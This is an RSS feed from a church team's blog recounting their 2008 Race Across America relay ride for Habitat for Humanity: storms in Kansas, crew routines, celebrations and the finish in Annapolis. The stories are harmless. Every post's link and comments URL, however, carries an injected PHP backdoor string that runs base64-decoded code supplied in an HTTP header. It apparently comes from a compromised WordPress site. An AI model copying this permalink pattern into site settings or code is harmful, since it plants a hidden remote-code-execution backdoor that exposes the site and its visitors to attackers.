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	<title>Team H4</title>
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	<link>http://valleypreschurch.org/TeamH4</link>
	<description>Holy Rollers Hammering for Habitat Homes</description>
	<pubDate>Wed, 02 Jul 2008 17:39:10 +0000</pubDate>
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		<title>June 16 - El Dorado KS - from Sally</title>
		<link>http://valleypreschurch.org/TeamH4/2008/07/02/june-16-el-dorado-ks-from-sally/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://valleypreschurch.org/TeamH4/2008/07/02/june-16-el-dorado-ks-from-sally/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 02 Jul 2008 17:39:10 +0000</pubDate>
		<dc:creator>KarenR</dc:creator>
		
		<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://valleypreschurch.org/TeamH4/?p=229</guid>
		<description><![CDATA[June 16 -  It is 05:45 local time (06:45 race time EDT) in El Dorado KS. We had a frustrating day yesterday waiting out thunderstorms, and decided to not ride through the night in the dark due to the risk/forecast of additional storms which could bring golf ball sized hail, very strong wind gusts, lightening [...]]]></description>
			<content:encoded><![CDATA[<p>June 16 -  It is 05:45 local time (06:45 race time EDT) in El Dorado KS. We had a frustrating day yesterday waiting out thunderstorms, and decided to not ride through the night in the dark due to the risk/forecast of additional storms which could bring golf ball sized hail, very strong wind gusts, lightening and possible tornadoes. In daylight you have the benefit of seeing what is occurring around you - not so at night. A band of rain/thunder/lightning is due to be done here in an hour or so and with daylight we will hopefully be able to get moving again. Goal is for Joel &amp; Sally to start a 6 hour shift at 7:00 am - and hope that the more &#8220;scattered/isolated&#8221; part of the forecast applies to our route east out of Kansas.<br />
We still have time to make it to Mississippi River (2000 mile mark) by Tues 17:00 (EDT) cut off and the finish by Fri 17:00 - just need the weather to help us a long our way a little.<br />
Keep praying for us&#8230;..  Got run to get all up - sure was nice to get a few hours sleep in a bed last night!</p>
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		<title>Celebrations, celebrations, celebrations!</title>
		<link>http://valleypreschurch.org/TeamH4/2008/06/27/celebrations-celebrations-celebrations/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://valleypreschurch.org/TeamH4/2008/06/27/celebrations-celebrations-celebrations/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 27 Jun 2008 04:22:36 +0000</pubDate>
		<dc:creator>KarenR</dc:creator>
		
		<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://valleypreschurch.org/TeamH4/?p=227</guid>
		<description><![CDATA[During our time together, we celebrated:
Hani&#8217;s wedding
Michele&#8217;s birthday
Mary and Matt&#8217;s anniversary
Sally and Joel&#8217;s anniversary  AND
Tom&#8217;s anniversary

Matt &#38; Mary share an anniversary hug during one of the quick transitions -  once Karen and Grant joined the group on Monday night, Matt and Mary were on opposite shifts&#8230;
]]></description>
			<content:encoded><![CDATA[<p>During our time together, we celebrated:</p>
<p>Hani&#8217;s wedding<br />
Michele&#8217;s birthday<br />
Mary and Matt&#8217;s anniversary<br />
Sally and Joel&#8217;s anniversary  AND<br />
Tom&#8217;s anniversary</p>
<p><img src="http://valleypreschurch.org/TeamH4/wp-content/uploads/2008/06/happyanniv.jpg" alt="" width="440" height="329" /></p>
<p>Matt &amp; Mary share an anniversary hug during one of the quick transitions -  once Karen and Grant joined the group on Monday night, Matt and Mary were on opposite shifts&#8230;</p>
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		<title>Time Station - Effingham</title>
		<link>http://valleypreschurch.org/TeamH4/2008/06/27/time-station-effingham/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://valleypreschurch.org/TeamH4/2008/06/27/time-station-effingham/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 27 Jun 2008 04:18:29 +0000</pubDate>
		<dc:creator>KarenR</dc:creator>
		
		<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://valleypreschurch.org/TeamH4/?p=226</guid>
		<description><![CDATA[
The time station in Effingham was at the High School where the locker rooms were open 24 hours for teams to shower &#8212; The RV had jumped ahead and was in the parking lot along with lots of other support vehicles.   So Grant, Mary, Anne, John, Sally &#38; Joel took advantage of the facilities.  [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://valleypreschurch.org/TeamH4/wp-content/uploads/2008/06/effingham.jpg" alt="" width="414" height="311" /></p>
<p>The time station in Effingham was at the High School where the locker rooms were open 24 hours for teams to shower &#8212; The RV had jumped ahead and was in the parking lot along with lots of other support vehicles.   So Grant, Mary, Anne, John, Sally &amp; Joel took advantage of the facilities.  Unfortunately Karen, Michele, and Matt were on shift (Raf was on the bike and riding to meet us here) so no showers for us.  We did stop to get our picture, see our name on the very bottom of their sign-in sheet, go to the bathroom, and pick up some tootsie pops.  Then we were back on the road to catch up to Raf.</p>
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		<title>Transition Time</title>
		<link>http://valleypreschurch.org/TeamH4/2008/06/27/transition-time/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://valleypreschurch.org/TeamH4/2008/06/27/transition-time/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 27 Jun 2008 04:12:13 +0000</pubDate>
		<dc:creator>KarenR</dc:creator>
		
		<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://valleypreschurch.org/TeamH4/?p=223</guid>
		<description><![CDATA[At the mega truck stop in Missouri - Raf and Michele, with John and Matt (pumping tires) await the van with Mary, Grant, Joel, and cycling Sally.

]]></description>
			<content:encoded><![CDATA[<p>At the mega truck stop in Missouri - Raf and Michele, with John and Matt (pumping tires) await the van with Mary, Grant, Joel, and cycling Sally.</p>
<p><img src="http://valleypreschurch.org/TeamH4/wp-content/uploads/2008/06/transition.jpg" alt="" width="421" height="315" /></p>
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		<title>Awards Banquet</title>
		<link>http://valleypreschurch.org/TeamH4/2008/06/27/awards-banquet/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://valleypreschurch.org/TeamH4/2008/06/27/awards-banquet/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 27 Jun 2008 04:09:30 +0000</pubDate>
		<dc:creator>KarenR</dc:creator>
		
		<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://valleypreschurch.org/TeamH4/?p=220</guid>
		<description><![CDATA[Friday, June 20 - 5:30 pm - at the Boys and Girls Club of Annapolis

TEAM H4:  Sally, Michele, John, Joel, Raf, Karen, &#38; Anne
Dinner of smothered chicken, mashed red potatoes and gravy, salad, and buns with sweet tea and lemonade sure tasted good after a full day of disassembling bikes and packing all our gear. [...]]]></description>
			<content:encoded><![CDATA[<p>Friday, June 20 - 5:30 pm - at the Boys and Girls Club of Annapolis</p>
<p><img src="http://valleypreschurch.org/TeamH4/wp-content/uploads/2008/06/banquet.jpg" alt="" width="389" height="291" /></p>
<p>TEAM H4:  Sally, Michele, John, Joel, Raf, Karen, &amp; Anne</p>
<p>Dinner of smothered chicken, mashed red potatoes and gravy, salad, and buns with sweet tea and lemonade sure tasted good after a full day of disassembling bikes and packing all our gear. We visited with the team from the UK seated at the table next to us.</p>
<p><img src="http://valleypreschurch.org/TeamH4/wp-content/uploads/2008/06/awards1.jpg" alt="" width="412" height="308" /></p>
<p>They finally called us up and gave us our plaques.  Big smiles for a great finish!</p>
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		<title>Karen&#8217;s View from the Front Seat</title>
		<link>http://valleypreschurch.org/TeamH4/2008/06/27/karens-view-from-the-front-seat/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://valleypreschurch.org/TeamH4/2008/06/27/karens-view-from-the-front-seat/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 27 Jun 2008 04:00:48 +0000</pubDate>
		<dc:creator>KarenR</dc:creator>
		
		<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://valleypreschurch.org/TeamH4/?p=216</guid>
		<description><![CDATA[
Looking to my left  -  Matt driving, with the all-important coffee!

In the navigator seat  -  with a bed tray on my lap holding:
the computer with the navigation maps (we just left Marthasville, MO)
the route book - (the RAAM Bible which detailed every turn and crossroad)
the walkie-talkie - to be able to communicate the turns to [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://valleypreschurch.org/TeamH4/wp-content/uploads/2008/06/driver.jpg" alt="" width="373" height="279" /></p>
<p>Looking to my left  -  Matt driving, with the all-important coffee!</p>
<p><img src="http://valleypreschurch.org/TeamH4/wp-content/uploads/2008/06/navigator.jpg" alt="" width="400" height="299" /></p>
<p>In the navigator seat  -  with a bed tray on my lap holding:<br />
the computer with the navigation maps (we just left Marthasville, MO)<br />
the route book - (the RAAM Bible which detailed every turn and crossroad)<br />
the walkie-talkie - to be able to communicate the turns to the cyclist<br />
multiple cell phones - to be able to talk with the RV group<br />
an iPod - to cue up just the right song for the occasion<br />
(the navigator also was in charge of resetting the TrackMe360 device known as SPOT [orange device on the dashboard] AND had the bull horn at their feet, just in case the walkies stopped working - of course the one time that happened, the bullhorn wouldn&#8217;t work either.  That was the time that came up with the horn method -  1 honk for left turn, 2 honks for right turn, no honk for continuing straight,  long horn for STOP RIGHT NOW!  -  it was easier than hollering out the window.)</p>
<p><img src="http://valleypreschurch.org/TeamH4/wp-content/uploads/2008/06/birthday.jpg" alt="" width="406" height="304" /></p>
<p>Looking to the back &#8211;  the smiling face of Michele or Raf, surrounded by all of the cyclists&#8217; bins, gear, spare wheels, first aid kit, and most importantly the area for sleeping between shifts.</p>
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		<title>Flooding in the Midwest</title>
		<link>http://valleypreschurch.org/TeamH4/2008/06/27/flooding-in-the-midwest/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://valleypreschurch.org/TeamH4/2008/06/27/flooding-in-the-midwest/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 27 Jun 2008 03:38:35 +0000</pubDate>
		<dc:creator>KarenR</dc:creator>
		
		<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://valleypreschurch.org/TeamH4/?p=215</guid>
		<description><![CDATA[
Many of you asked if we saw the floods in the midwest&#8230;  There were several  night shifts where we (Raf, Michele, Matt &#38; Karen) could see the moon reflecting off the water on the sides of the roads, and here is a similar area that we passed through during the day.  Just a ways down [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://valleypreschurch.org/TeamH4/wp-content/uploads/2008/06/flooding.jpg" alt="" width="528" height="395" /></p>
<p>Many of you asked if we saw the floods in the midwest&#8230;  There were several  night shifts where we (Raf, Michele, Matt &amp; Karen) could see the moon reflecting off the water on the sides of the roads, and here is a similar area that we passed through during the day.  Just a ways down the road, on the left, there was a car parked in a driveway.  Beyond the front of the car was flood water and a bit beyond that was the house on a small rise, untouched by the waters.</p>
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		<title>With Thanks to all of you</title>
		<link>http://valleypreschurch.org/TeamH4/2008/06/21/with-thanks-to-all-of-you/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://valleypreschurch.org/TeamH4/2008/06/21/with-thanks-to-all-of-you/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 21 Jun 2008 04:31:17 +0000</pubDate>
		<dc:creator>KarenR</dc:creator>
		
		<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://valleypreschurch.org/TeamH4/?p=212</guid>
		<description><![CDATA[Can&#8217;t begin to express how much we appreciate all of the support, good wishes, prayers, and thoughts of tailwinds from each and every one of you.  It&#8217;s very comforting for crew and riders alike to know that you are all back home rooting for us.  Thanks a million!
]]></description>
			<content:encoded><![CDATA[<p>Can&#8217;t begin to express how much we appreciate all of the support, good wishes, prayers, and thoughts of tailwinds from each and every one of you.  It&#8217;s very comforting for crew and riders alike to know that you are all back home rooting for us.  Thanks a million!</p>
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		<title>Now for the hard part&#8230;</title>
		<link>http://valleypreschurch.org/TeamH4/2008/06/21/now-for-the-hard-part/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://valleypreschurch.org/TeamH4/2008/06/21/now-for-the-hard-part/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 21 Jun 2008 04:25:08 +0000</pubDate>
		<dc:creator>KarenR</dc:creator>
		
		<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://valleypreschurch.org/TeamH4/?p=208</guid>
		<description><![CDATA[Friday, June 20 - ALLLLLLL  DAY LONG!
Thank goodness we finished when we did.  Only our sense of humor has seen us through the mammoth packing and logistical tasks of:
RV - move out, clean up, return.

Moby (the minivan) -  multiple shift bins, light bars, bike racks, sound system all had to be dismantled [...]]]></description>
			<content:encoded><![CDATA[<p>Friday, June 20 - ALLLLLLL  DAY LONG!</p>
<p>Thank goodness we finished when we did.  Only our sense of humor has seen us through the mammoth packing and logistical tasks of:</p>
<p>RV - move out, clean up, return.</p>
<p><img src="http://valleypreschurch.org/TeamH4/wp-content/uploads/2008/06/packin1.jpg" alt="" width="477" height="357" /></p>
<p>Moby (the minivan) -  multiple shift bins, light bars, bike racks, sound system all had to be dismantled and packed or returned to RAAM</p>
<p><img src="http://valleypreschurch.org/TeamH4/wp-content/uploads/2008/06/van.jpg" alt="" width="449" height="336" /></p>
<p>Bikes -  disassembling all 8 bikes and packing into bike boxes including the &#8216;missing&#8217; box that temporarily went home with another team (that had us getting creative about how to get the eighth bike home)</p>
<p>We spent all day in the parking lot of the Quality Inn, Annapolis trying to solve the packing puzzle.<br />
<img src="http://valleypreschurch.org/TeamH4/wp-content/uploads/2008/06/packit1.jpg" alt="" width="464" height="348" /></p>
<p>We&#8217;re trying not to think about unpacking when we get home to California late Saturday night. See you in church Sunday morning!</p>
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		<title>Missouri to Maryland in 3 days or bust</title>
		<link>http://valleypreschurch.org/TeamH4/2008/06/21/missouri-to-maryland-in-3-days-or-bust/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://valleypreschurch.org/TeamH4/2008/06/21/missouri-to-maryland-in-3-days-or-bust/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 21 Jun 2008 04:09:22 +0000</pubDate>
		<dc:creator>KarenR</dc:creator>
		
		<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://valleypreschurch.org/TeamH4/?p=206</guid>
		<description><![CDATA[
Sorry about the dirth of posts.  Guess we were all too focused on flying to the finish line&#8230;
Actually once you are on the road, the 24/7 shift rotation, sleep-deprivation, and intermittent internet access made it really hard to keep you in the loop.  Next time (ha, ha!) we know that we need a [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://valleypreschurch.org/TeamH4/wp-content/uploads/2008/06/sallycamdenton1.jpg" alt="" width="471" height="352" /></p>
<p>Sorry about the dirth of posts.  Guess we were all too focused on flying to the finish line&#8230;</p>
<p>Actually once you are on the road, the 24/7 shift rotation, sleep-deprivation, and intermittent internet access made it really hard to keep you in the loop.  Next time (ha, ha!) we know that we need a dedicated photographer and blogger on board with us.  SPOT saved our bacon by keeping you posted on our progress eastward.</p>
<p>After our frustrating interruption to our rhythm in El Dorado, KS (you should hear how Sally pronounces that) due to severe thunderstorms, golf-ball size hail, close range tornadoes, the team was at serious risk for losing momentum, focus, and cohesion.  But with ominous weather still plaguing us, we turned our &#8216;re-start&#8217; on Monday morning (6/16) into a new beginning for the entire team.  It helped to be pedaling towards fresh crew members waiting for us in Missouri later that day.  But we were most sad to say good bye to Tom, Doug, and Cathy.</p>
<p>In some ways, the rest is just a blur of shift exchanges, organizing gear and nutrition, managing the RV, determining rendezvous points and adjusting them on the fly because the riders getting further than expected in their 6-hour shifts, and generally making sure that the entire team got just enough sleep to survive.</p>
<p>Humor has played a huge role in allowing the team to endure all that make this such a tough race.  As the riders stayed healthy and strong, we all enjoyed passing up many other teams from Kansas onward.  Don&#8217;t get us wrong&#8230;  there is a strong level of camaraderie between the teams, but you know you are doing well when you are consistently out-pacing other team around you.</p>
<p>People think of the Rockies as being the toughest part of the RAAM course since you climb to 9,000-10,000 feet several times, but the Appalachians of West Virginia, Pennsylvania, and Maryland, with 360 miles to the finish, actually present more overall feet of climbing per mile with relentless sets of steep climbs, descents, repeat, repeat, repeat&#8230;.  you get the picture!  You would never have known that the riders were on &#8216;day 7 legs&#8217; as they pushed on through.  Must be all that wonderful hilly training country at home.  Every hill was likened to the length and/or grade of a local familiar route at home.  &#8220;Well that&#8217;s just a couple of back-to-back Old La Honda&#8217;s&#8217; or &#8216;That&#8217;s not as bad as &#8216;Nasty Grade&#8217;&#8230; &#8221;</p>
<p>The crew did an amazing job of managing and supporting the riders through these hills. We switched from our tried and tested 6-hour shift rotations to 4-hour ones so that the riders would climb only an hour at a time.  The result - even less sleep for the crew, but it was worth it to realize that Team H4 would finish this race on Thursday, even though they had lost 15 hours of riding time in Kansas.</p>
<p>Crew Chief Mary kept the riders on the straight and narrow as she mapped out the last 150 miles to the finish line.  With 2,900 miles under our belts, the last 100 felt more like an adrenalin-fueled sprint to the finish &#8212; where&#8217;s the sense in that???  The crew stayed true to the last in reminding the riders not to overcook themselves - they didn&#8217;t listen too well.</p>
<p>The ride into Annapolis was a very powerful experience.  On the tough side, we rode through the Washington, DC/Baltimore/Annapolis corridor at rush hour!  It had more scary moments for riders and crew alike than the whole rest of the race.  With Matt driving and Mary navigating, they masterfully protected the backs of their riders from overly aggressive commuters. In the last few miles, we had to honor of riding along side two separate solo RAAM riders - very humbling for all of us. The actual finish of the timed portion of the race happened in a non-descript mall parking lot, followed by a 4 mile parade into the real finish line on the dock in downtown Annapolis.  Eduardo, our roving photographer, negotiated his way into the escort vehicle and was able to capture the moment.  Pics to follow!</p>
<p>Once across the finish line, the team got to take the stage and were interviewed for their moment of glory.  The riders biggest regret was that the crew did not receive any &#8216;official&#8217; accolades for their tireless efforts.  They worked the hardest to make Team H4&#8217;s RAAM bid a success.  At least they all know that they are truly appreciated by their riders.</p>
<p>Our official finish time of 8 days, 2 hours, 56 minutes matched our best-case goal finish time, and we achieved that even with that pesky 15-hour weather delay El Do-RAY-do, KS.  You do the math!!!</p>
<p><img src="http://valleypreschurch.org/TeamH4/wp-content/uploads/2008/06/awards.jpg" alt="" width="526" height="394" /></p>
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